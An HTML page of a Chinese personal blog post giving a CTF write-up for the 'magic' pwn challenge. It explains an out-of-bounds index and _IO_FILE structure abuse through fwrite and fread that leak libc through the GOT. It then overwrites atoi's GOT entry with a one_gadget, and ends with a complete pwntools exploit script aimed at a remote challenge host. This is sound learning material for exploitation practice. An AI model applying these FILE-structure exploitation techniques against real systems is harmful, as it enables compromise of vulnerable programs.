<!DOCTYPE html>
<html lang="zh-CN">
<head>
  <meta charset="UTF-8"/>
<meta http-equiv="X-UA-Compatible" content="IE=edge, chrome=1" />
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1"/>
<meta name="browsermode" content="application">
<meta name="apple-touch-fullscreen" content="yes">
<meta name="apple-mobile-web-app-capable" content="yes">
<meta name="apple-mobile-web-app-title" content="Axojhf的博客">
<meta name="apple-mobile-web-app-status-bar-style" content="default">
<meta name="msapplication-navbutton-color" content="#666666">
<meta name= "format-detection" content="telephone=no" />





  <meta name="keywords" content="Writeup, nlvi" />


<link rel="apple-touch-startup-image" media="(device-width: 375px)" href="assets/apple-launch-1125x2436.png">
<link rel="apple-touch-startup-image" media="(orientation: landscape)" href="assets/apple-touch-startup-image-2048x1496.png">

<link rel="stylesheet" href="/blog/style/style.css">

<script>
  var nlviconfig = {
    title: "Axojhf的博客",
    author: "Axojhf",
    baseUrl: "/blog/",
    theme: {
      scheme: "banderole",
      lightbox: true,
      animate: true,
      search: true,
      friends: false,
      reward: false,
      pjax: false,
      lazy: false,
      toc: true
    }
  }
</script>




    
<link rel="stylesheet" href="/blog/script/lib/lightbox/css/lightbox.min.css">





    
<link rel="stylesheet" href="/blog/syuanpi/syuanpi.min.css">
















<style>
@font-face {
  font-family: "Allura";
  src: url('/blog/font/allura/allura.ttf');
}
</style>

  <title> 攻防世界-magic题Writeup · Axojhf的博客 </title>
<meta name="generator" content="Hexo 4.2.1"></head>
<body>
  <div class="container">
    <header class="header" id="header">
  <div class="header-wrapper">
    <div class="logo">
  <div class="logo-inner syuanpi tvIn" style="display:none;">
    <h1><a href="/blog/">Axojhf的博客</a></h1>
    
  </div>
</div>

    <nav class="main-nav">
  
  <ul class="main-nav-list syuanpi tvIn">
  
    <li class="menu-item">
      <a href="javascript:;" id="search-btn" aria-label="Search">
        <i class="iconfont icon-search"></i>
      </a>
    </li>
  
  
  
    
  
    <li class="menu-item">
      <a href="/blog/" id="article">
        <span class="base-name">
          
            ARTICLE
          
        </span>
      </a>
    </li>
  
  
    
  
    <li class="menu-item">
      <a href="/blog/archives" id="archives">
        <span class="base-name">
          
            ARCHIVES
          
        </span>
      </a>
    </li>
  
  
    
  
    <li class="menu-item">
      <a href="javascript:;" id="tags">
        <span class="base-name">
          
            TAGS
          
        </span>
      </a>
    </li>
  
  
    
  
    <li class="menu-item">
      <a href="/blog/about" id="about">
        <span class="base-name">
          
            ABOUT
          
        </span>
      </a>
    </li>
  
  
  </ul>
  
</nav>

  </div>
</header>
<div class="mobile-header" id="mobile-header">
  <div class="mobile-header-nav">
    <div class="mobile-header-item" id="mobile-left">
      <div class="header-menu-item">
        <div class="header-menu-line"></div>
      </div>
    </div>
    <h1 class="mobile-header-title">
      <a href="/">Axojhf的博客</a>
    </h1>
    <div class="mobile-header-item"></div>
  </div>
  <div class="mobile-header-body">
    <ul class="mobile-header-list">
      
        <li class="mobile-nav-item syuanpi fadeInRightShort back-0">
          <a href="/blog/" >
            
              ARTICLE
            
          </a>
        </li>
      
        <li class="mobile-nav-item syuanpi fadeInRightShort back-1">
          <a href="/blog/archives" >
            
              ARCHIVES
            
          </a>
        </li>
      
        <li class="mobile-nav-item syuanpi fadeInRightShort back-2">
          <a href="javascript:;" id="mobile-tags">
            
              TAGS
            
          </a>
        </li>
      
        <li class="mobile-nav-item syuanpi fadeInRightShort back-3">
          <a href="/blog/about" >
            
              ABOUT
            
          </a>
        </li>
      
    </ul>
  </div>
</div>



    <div class="container-inner" style="display:none;">
      <main class="main" id="main">
        <div class="main-wrapper">
          
    
  
  <article class="
  post
   is_post 
  ">
    <header class="post-header">
      <div class="post-time syuanpi fadeInRightShort back-1">
        <div class="post-time-wrapper">
          
          <time>2020-07-12</time>
          
        </div>
      </div>
      <h2 class="post-title syuanpi fadeInRightShort back-2">
        
          攻防世界-magic题Writeup
        
      </h2>
    </header>
    <div class="post-content syuanpi fadeInRightShort back-3">
      
        <h1 id="一"><a href="#一" class="headerlink" title="一"></a>一</h1><p>这道题我花了很长时间依照<a href="https://www.anquanke.com/post/id/194577" target="_blank" rel="noopener">大佬的Writeup</a>的思想才写出来，这道题主要是需要认识到如何修改FILE结构的内容然后利用fread和fwrite进行任意写，任意读的操作。</p>
<p>(博主还是菜鸟，有些知识可能理解不够透彻，有些表述可能不够严谨，欢迎大家指正，望大家多多包涵)</p>
<a id="more"></a>

<h1 id="二"><a href="#二" class="headerlink" title="二"></a>二</h1><p>程序保护信息：</p>
<p><img src="image-20200712213915047.png" alt="image-20200712213915047"></p>
<p>main函数里有一个init函数，打开了一个文件：</p>
<p><img src="image-20200712214101710.png" alt="image-20200712214101710"></p>
<p>由于PIE没开，我们开以知道存放文件指针的<code>log_file</code>的地址。</p>
<p>之后是菜单：</p>
<p><img src="image-20200712214413680.png" alt="image-20200712214413680"></p>
<p><code>1</code>是创建一个这样的结构：</p>
<p><img src="image-20200712214525141.png" alt="image-20200712214525141"></p>
<p><code>2</code>是一系列的操作：其中在这个地方是可以往低处溢出的。</p>
<p><img src="image-20200712214811234.png" alt="image-20200712214811234"></p>
<p>简单的查看可以得知当v2为-2时正好到<code>log_file</code>的位置。</p>
<p><img src="image-20200712215132467.png" alt="image-20200712215132467"></p>
<p>接下来是几个很关键的操作（其中v3 = wizards[v2]，v4为栈上某处）：</p>
<p><img src="image-20200712215336303.png" alt="image-20200712215336303"></p>
<p><code>write_spell</code>是将my_read读取的（最多0x20个）字符写到<code>log_file</code>里，而<code>read_spell</code>是接着从<code>log_file</code>里读出（最多0x20个）字符并打印出来。</p>
<p>这里其实就应该想到如何利用<code>log_file</code>的文件结构来解题了，可是我之前并没有接触太多这方面的东西，所以我并不熟悉怎样来利用，而且CTF-Wiki对这方面的介绍我个人感觉并不是特别全面，所以只好去看大佬的Writeup。</p>
<p>这里我们按照正常思路来考虑就是先泄露libc的基址，而由上一张图片可知：程序可以修改<code>log_file+40</code>的地方，调试后可知：</p>
<p><img src="image-20200713105139801.png" alt="image-20200713105139801"></p>
<p><img src="image-20200713105354142.png" alt="image-20200713105354142"></p>
<p>正好修改的是<code>_IO_write_ptr</code>的数据</p>
<p>而实现<code>fwrite</code>的任意写需要使<code>_IO_write_ptr</code>指向需要写入的部分(<code>_IO_write_end</code>指向写入部分的结尾处)，另外，由于程序在调用<code>fwrite</code>函数之后很快又调用了<code>fread</code>函数，所以为了防止出现程序中断的错误，最好不要修改<code>log_file</code>的<code>_IO_FILE</code>结构的数据。</p>
<p>又因为<code>fwrite</code>调用的函数<code>_IO_new_file_xsputn</code>里有这样一句(count应该是输出字符数)：</p>
<p><img src="image-20200713112730076.png" alt="image-20200713112730076"></p>
<p>所以要想修改<code>_IO_read_ptr</code>和<code>_IO_read_end</code>达到任意读的目的来读取got表的值进而获得libc的基址，需要反复运行程序里的<code>wizard_spell</code>函数修改<code>log_file</code>的<code>_IO_write_ptr</code>段。</p>
<p>这里我这样操作：</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">create()</span><br><span class="line">spell(<span class="number">0</span>, <span class="string">'\x00'</span>)</span><br><span class="line"><span class="keyword">for</span> x <span class="keyword">in</span> range(<span class="number">10</span>):</span><br><span class="line">    spell(<span class="number">-2</span>, <span class="string">'\x00'</span>)</span><br><span class="line">spell(<span class="number">-2</span>, <span class="string">'\x00'</span>)</span><br><span class="line">spell(<span class="number">-2</span>, <span class="string">'\x00'</span> * <span class="number">8</span>)</span><br><span class="line">spell(<span class="number">-2</span>, <span class="string">'\x00'</span>)</span><br><span class="line">spell(<span class="number">-2</span>, <span class="string">'\x00'</span> * <span class="number">9</span>)</span><br><span class="line"><span class="comment"># 这里就需要反复去调试看有没有出现问题，当然如果有能力直接计算出最优的方法那就更好了。</span></span><br><span class="line"><span class="comment"># 这里最终将_IO_write_ptr改到了log_file-0x10的位置。</span></span><br></pre></td></tr></table></figure>

<p>接下来就是准备覆盖<code>_IO_read_ptr</code>和<code>_IO_read_end</code>部位了。</p>
<p>下面代码都没有直接修改<code>wizards[-2]</code>（也就是<code>log_file</code>）的信息，因为如果按照之前的方法修改，<code>_IO_write_ptr</code>会往更低的位置去，这样就没办法再次利用了</p>
<p><strong>注意：<code>wizards[0]</code>只能利用16次</strong></p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">spell(<span class="number">0</span>, p64(<span class="number">0</span>) + p64(<span class="number">0x231</span>) + p64(<span class="number">0xfbad24a8</span>))	</span><br><span class="line"><span class="string">''' 这里0x231是malloc_chunk的size位，而0xfbad24a8在我进行的调试里都是一样大小（Ubuntu16.04）</span></span><br><span class="line"><span class="string">    注意：这里本可以输入0x20大小的数据，但是不能这个时候修改_IO_read_ptr为puts_got，这样会报错，</span></span><br><span class="line"><span class="string">         暂时还不知道为什么	╮(╯-╰)╭	'''</span></span><br><span class="line">spell(<span class="number">0</span>, p64(puts_got) + p64(puts_got + <span class="number">0x100</span>))</span><br><span class="line"><span class="comment"># 这里输入puts_got + 0x100的原因是需要“能够输出的部分”足够大，因为每次读取都需要0x20的数据，如果_IO_read_end - _IO_read_ptr过小，会使得fread里的函数重新更新缓冲区的信息，会修改二者的值。</span></span><br></pre></td></tr></table></figure>

<p>获取了libc基址后因为got表是可以修改的，所以我打算修改<code>atoi</code>的got表。</p>
<p>而要想修改got表，关键是把<code>_IO_write_ptr</code>，<code>_IO_write_end</code>改到我需要改的地方去。</p>
<p>前面正好改到了<code>_IO_read_end</code>的位置，很自然的我会想到直接去修改它下面有关<code>write</code>的指针。</p>
<p>但是这样并不能起作用，我之前在想为什么不能这样修改，我主要参考的Writeup并没有说明原因，还是看了<a href="https://blog.csdn.net/seaaseesa/article/details/103479788" target="_blank" rel="noopener">另一个大佬的Writeup</a>才明白的：</p>
<p>通过对分析<code>fwrite</code>调用的<code>_IO_new_file_xsputn</code>函数分析可知，在<code>_IO_write_end</code> &gt;<code>_IO_write_ptr</code>的情况下会执行这个语句<img src="image-20200714143547336.png" alt="image-20200714143547336"></p>
<p>所以即使直接修改了<code>_IO_write_ptr</code>段的数据，这里的赋值语句还是会将它改回正常的情况。</p>
<p>因此这里就利用<code>fread</code>的“任意写”来达到目标</p>
<blockquote>
<ul>
<li>设置_IO_buf_base为write_s，_IO_buf_end为write_end（_IO_buf_end-_IO_buf_base要大于0）</li>
<li>flag位不能含有4（_IO_NO_READS），_fileno要为0。（最好就直接使用原本的flag）</li>
<li>设置_IO_read_end等于_IO_read_ptr。</li>
</ul>
<p>_IO_new_file_underflow中在执行系统调用之前会设置一次FILE指针，将<br> _IO_read_base、_IO_read_ptr、fp-&gt;_IO_read_end、_IO_write_base、IO_write_ptr全部设置为_IO_buf_base。</p>
<p>来源：<a href="https://www.anquanke.com/post/id/194577#h2-0" target="_blank" rel="noopener">https://www.anquanke.com/post/id/194577#h2-0</a></p>
</blockquote>
<p>为了使<code>_IO_read_ptr</code>等于<code>_IO_read_end</code>并且改<code>_IO_buf_base</code>和<code>_IO_buf_end</code>，我们需要先获得堆的基址，再用这个基址加上一大段偏移用来覆盖与<code>write</code>有关的指针（我觉得这里应该是为了让<code>fwrite</code>正常工作）。</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">spell(<span class="number">-2</span>, p64(<span class="number">0</span>) + p64(<span class="number">0</span>))</span><br><span class="line">spell(<span class="number">0</span>, <span class="string">'\x00'</span> * <span class="number">2</span> + p64(<span class="number">0x231</span>) + p64(<span class="number">0xfbad24a8</span>))</span><br><span class="line">spell(<span class="number">0</span>, p64(log_file_add) + p64(puts_got + <span class="number">0x100</span>))</span><br><span class="line">heap_add = u64(p.recv(<span class="number">8</span>))	<span class="comment"># 这里我获取的并不是程序的heap的基址，不过也是非常接近的</span></span><br><span class="line">spell(<span class="number">0</span>, p64(<span class="number">0</span>) + p64(heap_add + <span class="number">0x48</span>) + p64(<span class="number">0</span>) + p64(heap_add + <span class="number">0x48</span>))</span><br><span class="line">spell(<span class="number">0</span>, p64(<span class="number">0x602110</span>) + p64(<span class="number">0x602110</span> + <span class="number">0x100</span>))</span><br><span class="line"><span class="string">'''这里的0x602110不刚好是got表那里，而是更大地址的地方，我调试的时候发现改成got表区域会报错，</span></span><br><span class="line"><span class="string">也不清楚是什么原因'''</span></span><br></pre></td></tr></table></figure>

<p>OK，然后调整<code>_IO_write_ptr</code>到<code>atoi</code>的got表那里就好了</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">spell(<span class="number">-2</span>, <span class="string">'\x00'</span>)</span><br><span class="line">spell(<span class="number">-2</span>, <span class="string">'\x00'</span>)</span><br><span class="line">spell(<span class="number">-2</span>, <span class="string">'\x00'</span>)</span><br><span class="line">spell(<span class="number">0</span>, <span class="string">'\x00'</span> * <span class="number">4</span> + p64(libc_base + one_gadget_offset))</span><br></pre></td></tr></table></figure>

<p>（这里我用了<code>one_gadget</code>，这种方法局限性比较大，而且说实话也有点碰运气的感觉，其实更通用的方法应该是修改为<code>system</code>的地址，因为在程序读取菜单选项的时候有这么两句：</p>
<p><img src="image-20200714162941376.png" alt="image-20200714162941376"></p>
<p>很明显可以输入<code>sh</code>获取shell</p>
<p>）</p>
<h2 id="完整脚本"><a href="#完整脚本" class="headerlink" title="完整脚本"></a>完整脚本</h2><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># -*- coding: utf-8 -*-</span></span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> LibcSearcher <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">context.log_level = <span class="string">'debug'</span></span><br><span class="line">p = remote(<span class="string">'220.249.52.133'</span>, <span class="number">00000</span>)</span><br><span class="line"></span><br><span class="line">puts_got = <span class="number">0x602020</span></span><br><span class="line">log_file_add = <span class="number">0x6020e0</span></span><br><span class="line">one_gadget_offset = <span class="number">0xf1147</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">spell</span><span class="params">(index, data)</span>:</span></span><br><span class="line">    p.sendlineafter(<span class="string">'&gt;&gt; '</span>, <span class="string">'2'</span>)</span><br><span class="line">    p.sendlineafter(<span class="string">'spell:'</span>, str(index))</span><br><span class="line">    p.sendafter(<span class="string">'name:'</span>, data)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">create</span><span class="params">()</span>:</span></span><br><span class="line">    p.sendlineafter(<span class="string">'&gt;&gt; '</span>, <span class="string">'1'</span>)</span><br><span class="line">    p.sendlineafter(<span class="string">'name:'</span>, <span class="string">'AAAAAAA'</span>)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">create()</span><br><span class="line">spell(<span class="number">0</span>, <span class="string">'\x00'</span>)</span><br><span class="line"><span class="keyword">for</span> x <span class="keyword">in</span> range(<span class="number">10</span>):</span><br><span class="line">    spell(<span class="number">-2</span>, <span class="string">'\x00'</span>)</span><br><span class="line">spell(<span class="number">-2</span>, <span class="string">'\x00'</span>)</span><br><span class="line">spell(<span class="number">-2</span>, <span class="string">'\x00'</span> * <span class="number">8</span>)</span><br><span class="line">spell(<span class="number">-2</span>, <span class="string">'\x00'</span>)</span><br><span class="line">spell(<span class="number">-2</span>, <span class="string">'\x00'</span> * <span class="number">9</span>)</span><br><span class="line">spell(<span class="number">0</span>, p64(<span class="number">0</span>) + p64(<span class="number">0x231</span>) + p64(<span class="number">0xfbad24a8</span>))</span><br><span class="line">spell(<span class="number">0</span>, p64(puts_got) + p64(puts_got + <span class="number">0x100</span>))  <span class="comment"># 必须足够大</span></span><br><span class="line"></span><br><span class="line">puts_add = u64(p.recv(<span class="number">6</span>) + <span class="string">'\x00\x00'</span>)</span><br><span class="line">obj = LibcSearcher(<span class="string">"puts"</span>, puts_add)</span><br><span class="line">libc_base = puts_add - obj.dump(<span class="string">'puts'</span>)</span><br><span class="line"></span><br><span class="line">spell(<span class="number">-2</span>, p64(<span class="number">0</span>) + p64(<span class="number">0</span>))</span><br><span class="line">spell(<span class="number">0</span>, <span class="string">'\x00'</span> * <span class="number">2</span> + p64(<span class="number">0x231</span>) + p64(<span class="number">0xfbad24a8</span>))</span><br><span class="line">spell(<span class="number">0</span>, p64(log_file_add) + p64(puts_got + <span class="number">0x100</span>))  <span class="comment"># p64(log_file_add + 0x40))</span></span><br><span class="line">heap_add = u64(p.recv(<span class="number">8</span>))</span><br><span class="line"><span class="keyword">print</span> <span class="string">'puts_add:'</span>, hex(puts_add), <span class="string">'heap_base:'</span>, hex(heap_add)</span><br><span class="line"></span><br><span class="line">spell(<span class="number">0</span>, p64(<span class="number">0</span>) + p64(heap_add + <span class="number">0x48</span>) + p64(<span class="number">0</span>) + p64(heap_add + <span class="number">0x48</span>))</span><br><span class="line">spell(<span class="number">0</span>, p64(<span class="number">0x602110</span>) + p64(<span class="number">0x602110</span> + <span class="number">0x100</span>))</span><br><span class="line">spell(<span class="number">-2</span>, <span class="string">'\x00'</span>)</span><br><span class="line">spell(<span class="number">-2</span>, <span class="string">'\x00'</span>)</span><br><span class="line">spell(<span class="number">-2</span>, <span class="string">'\x00'</span>)</span><br><span class="line">spell(<span class="number">0</span>, <span class="string">'\x00'</span> * <span class="number">4</span> + p64(libc_base + one_gadget_offset))</span><br><span class="line">p.sendline(<span class="string">'2'</span>)</span><br><span class="line"></span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure>

<h1 id="三"><a href="#三" class="headerlink" title="三"></a>三</h1><p>这道题主要是考察对<code>FILE</code>结构这一块的知识的运用，而且比较麻烦，需要考虑的情况比较多，经常要翻阅glibc的源代码，而且现在我对这方面还是没有比较系统的学习，理解不深，如果有时间我会去研究一下<code>_IO_FILE</code>结构和<code>fwrite</code>，<code>fread</code>和<code>scanf</code>的源代码。</p>

      
    
    </div>
    
      <div class="post-tags syuanpi fadeInRightShort back-3">
      
        <a href="/blog/tags/Writeup/">Writeup</a>
      
      </div>
    
    
      

      
  <hr class="copy-line">
  <div class="post-copyright">
    <div class="copy-author">
      <span>作者 :</span>
      <span>Axojhf</span>
    </div>
    <div class="copy-url">
      <span>地址 :</span>
      <a href="http://xiaoaoaode.gitee.io/blog/2020/07/12/e563c85c/">http://xiaoaoaode.gitee.io/blog/2020/07/12/e563c85c/</a>
    </div>
    <div class="copy-origin">
      <span>来源 :</span>
      <a href="http://xiaoaoaode.gitee.io/blog">http://xiaoaoaode.gitee.io/blog</a>
    </div>
    <div class="copy-license">
      
      著作权归作者所有，转载请联系作者获得授权。
    </div>
  </div>

    
  </article>
  
    
  <nav class="article-page">
    
      <a href="/blog/2020/07/19/5cfa9d84/" id="art-left" class="art-left">
        <span class="next-title">
          <i class="iconfont icon-left"></i>正则表达式学习1
        </span>
      </a>
    
    
      <a href="/blog/2020/06/17/45ae5a23/" id="art-right" class="art-right">
        <span class="prev-title">
          攻防世界-“250”题Writeup<i class="iconfont icon-right"></i>
        </span>
      </a>
    
  </nav>


    
  <i id="com-switch" class="iconfont icon-down jumping-in long infinite" style="font-size:24px;display:block;text-align:center;transform:rotate(180deg);"></i>
  <div class="post-comments" id="post-comments" style="display: block;margin: auto 16px;">
    

    
    

    

  </div>



  
  
    
  
  <aside class="post-toc">
    <div class="title"><span>文章导航</span></div>
    <div class="toc-inner">
      <ol class="toc"><li class="toc-item toc-level-1"><a class="toc-link" href="#一"><span class="toc-text">一</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#二"><span class="toc-text">二</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#完整脚本"><span class="toc-text">完整脚本</span></a></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#三"><span class="toc-text">三</span></a></li></ol>
    </div>
  </aside>



  


        </div>
      </main>
      <footer class="footer syuanpi fadeIn" id="footer">
  <hr>
  <div class="footer-wrapper">
    <div class="left">
      <div class="contact-icon">
  
  
</div>

    </div>
    <div class="right">
      <div class="copyright">
    <div class="info">
        <span>&copy;</span>
        <span>2020 ~ 2020</span>
        <span>❤</span>
        <span>Axojhf</span>
    </div>
    <div class="theme">
        <span>
            动力来源于
            <a href="http://hexo.io/" target="_blank" rel="noopener">Hexo </a>
        </span>
        <span>
            主题
            <a href="https://github.com/ColMugX/hexo-theme-Nlvi" target="_blank" rel="noopener"> Nlvi </a>
        </span>
    </div>
    
</div>

    </div>
  </div>
</footer>
    </div>
    <div class="tagcloud" id="tagcloud">
  <div class="tagcloud-taglist">
  
    <div class="tagcloud-tag">
      <button>Writeup</button>
    </div>
  
    <div class="tagcloud-tag">
      <button>其他</button>
    </div>
  
    <div class="tagcloud-tag">
      <button>知识点记录</button>
    </div>
  
  </div>
  
    <div class="tagcloud-postlist active">
      <h2>Writeup</h2>
      
        <div class="tagcloud-post">
          <a href="/blog/2020/07/27/dd14f23d/">
            <time class="tagcloud-posttime">2020 / 07 / 27</time>
            <span>BUUCTF-Pwn题-Writeup（1）</span>
          </a>
        </div>
      
        <div class="tagcloud-post">
          <a href="/blog/2020/07/28/cfa15dd3/">
            <time class="tagcloud-posttime">2020 / 07 / 28</time>
            <span>BUUCTF-Pwn题-Writeup（2）</span>
          </a>
        </div>
      
        <div class="tagcloud-post">
          <a href="/blog/2020/08/16/771d3ab6/">
            <time class="tagcloud-posttime">2020 / 08 / 16</time>
            <span>BUUCTF-Pwn题-Writeup（3）</span>
          </a>
        </div>
      
        <div class="tagcloud-post">
          <a href="/blog/2020/08/19/5276656a/">
            <time class="tagcloud-posttime">2020 / 08 / 19</time>
            <span>BUUCTF-Pwn题-Writeup（5）</span>
          </a>
        </div>
      
        <div class="tagcloud-post">
          <a href="/blog/2020/08/17/eaca020f/">
            <time class="tagcloud-posttime">2020 / 08 / 17</time>
            <span>BUUCTF-Pwn题-Writeup（4）</span>
          </a>
        </div>
      
        <div class="tagcloud-post">
          <a href="/blog/2020/09/21/f87fade1/">
            <time class="tagcloud-posttime">2020 / 09 / 21</time>
            <span>BUUCTF-Pwn题-Writeup（7）</span>
          </a>
        </div>
      
        <div class="tagcloud-post">
          <a href="/blog/2020/09/04/40c3ca84/">
            <time class="tagcloud-posttime">2020 / 09 / 04</time>
            <span>BUUCTF-Pwn题-Writeup（6）</span>
          </a>
        </div>
      
        <div class="tagcloud-post">
          <a href="/blog/2020/09/28/a01cbdb7/">
            <time class="tagcloud-posttime">2020 / 09 / 28</time>
            <span>BUUCTF-Pwn题-Writeup（8）</span>
          </a>
        </div>
      
        <div class="tagcloud-post">
          <a href="/blog/2020/08/31/2253bdbe/">
            <time class="tagcloud-posttime">2020 / 08 / 31</time>
            <span>DASCTF2020八月赛个人Writeup</span>
          </a>
        </div>
      
        <div class="tagcloud-post">
          <a href="/blog/2020/07/26/253f1adb/">
            <time class="tagcloud-posttime">2020 / 07 / 26</time>
            <span>DASCTF七月赛个人Writeup</span>
          </a>
        </div>
      
        <div class="tagcloud-post">
          <a href="/blog/2020/08/24/49582296/">
            <time class="tagcloud-posttime">2020 / 08 / 24</time>
            <span>CISCN2020初赛个人Writeup</span>
          </a>
        </div>
      
        <div class="tagcloud-post">
          <a href="/blog/2020/06/01/14185/">
            <time class="tagcloud-posttime">2020 / 06 / 01</time>
            <span>我写出来的招新题的Writeup</span>
          </a>
        </div>
      
        <div class="tagcloud-post">
          <a href="/blog/2020/06/17/45ae5a23/">
            <time class="tagcloud-posttime">2020 / 06 / 17</time>
            <span>攻防世界-“250”题Writeup</span>
          </a>
        </div>
      
        <div class="tagcloud-post">
          <a href="/blog/2020/06/09/7b438d60/">
            <time class="tagcloud-posttime">2020 / 06 / 09</time>
            <span>攻防世界-babyheap题Writeup</span>
          </a>
        </div>
      
        <div class="tagcloud-post">
          <a href="/blog/2020/06/17/47cfb24f/">
            <time class="tagcloud-posttime">2020 / 06 / 17</time>
            <span>攻防世界-“Recho”题Writeup</span>
          </a>
        </div>
      
        <div class="tagcloud-post">
          <a href="/blog/2020/07/12/e563c85c/">
            <time class="tagcloud-posttime">2020 / 07 / 12</time>
            <span>攻防世界-magic题Writeup</span>
          </a>
        </div>
      
        <div class="tagcloud-post">
          <a href="/blog/2020/10/07/9b619749/">
            <time class="tagcloud-posttime">2020 / 10 / 07</time>
            <span>攻防世界-nobug题Writeup</span>
          </a>
        </div>
      
        <div class="tagcloud-post">
          <a href="/blog/2020/06/02/471a08d2/">
            <time class="tagcloud-posttime">2020 / 06 / 02</time>
            <span>攻防世界--supermarket题Writeup</span>
          </a>
        </div>
      
        <div class="tagcloud-post">
          <a href="/blog/2020/10/04/77eb8480/">
            <time class="tagcloud-posttime">2020 / 10 / 04</time>
            <span>攻防世界-onemanarmy题Writeup</span>
          </a>
        </div>
      
        <div class="tagcloud-post">
          <a href="/blog/2020/06/02/a54507f8/">
            <time class="tagcloud-posttime">2020 / 06 / 02</time>
            <span>攻防世界——dice_game题Writeup</span>
          </a>
        </div>
      
        <div class="tagcloud-post">
          <a href="/blog/2020/06/10/928398a1/">
            <time class="tagcloud-posttime">2020 / 06 / 10</time>
            <span>攻防世界-"实时数据监测"题Writeup</span>
          </a>
        </div>
      
    </div>
  
    <div class="tagcloud-postlist ">
      <h2>其他</h2>
      
        <div class="tagcloud-post">
          <a href="/blog/2020/08/07/38a4c9bb/">
            <time class="tagcloud-posttime">2020 / 08 / 07</time>
            <span>Pwn环境的搭建和解答一些简单Pwn题的分享</span>
          </a>
        </div>
      
    </div>
  
    <div class="tagcloud-postlist ">
      <h2>知识点记录</h2>
      
        <div class="tagcloud-post">
          <a href="/blog/2020/08/10/44355a63/">
            <time class="tagcloud-posttime">2020 / 08 / 10</time>
            <span>_IO_FILE结构与fread函数知识点小结</span>
          </a>
        </div>
      
        <div class="tagcloud-post">
          <a href="/blog/2020/08/01/8e1ab4ab/">
            <time class="tagcloud-posttime">2020 / 08 / 01</time>
            <span>Pwn题里有关seccomp和prctl函数的知识点小结</span>
          </a>
        </div>
      
        <div class="tagcloud-post">
          <a href="/blog/2020/07/19/5cfa9d84/">
            <time class="tagcloud-posttime">2020 / 07 / 19</time>
            <span>正则表达式学习1</span>
          </a>
        </div>
      
    </div>
  
</div>

  </div>
  <div class="backtop syuanpi melt toTop" id="backtop">
    <i class="iconfont icon-up"></i>
    <span style="text-align:center;font-family:Georgia;"><span style="font-family:Georgia;" id="scrollpercent">1</span>%</span>
</div>

  <div class="search" id="search">
    <div class="input">
      <input type="text" id="search-input" placeholder="搜索一下？" autofocus>
    </div>
    <div id="search-result"></div>
  </div>



<script src="https://cdn.jsdelivr.net/npm/jquery@3.4.1/dist/jquery.min.js"></script>



  <script></script>
  <script src="/blog/script/lib/lightbox/js/lightbox.min.js" async></script>











  
<script src="/blog/script/scheme/banderole.js"></script>




<script src="/blog/script/bootstarp.js"></script>



<script>
if (nlviconfig.theme.toc) {
  setTimeout(function() {
    if (nlviconfig.theme.scheme === 'balance') {
      $("#header").addClass("show_toc");
    } else if (nlviconfig.theme.scheme === 'banderole') {
      $(".container-inner").addClass("has_toc");
      $(".post-toc .title").addClass("show");
      $(".toc-inner").addClass("show");
    }
  }, 1000);
}
</script>



</body>
</html>
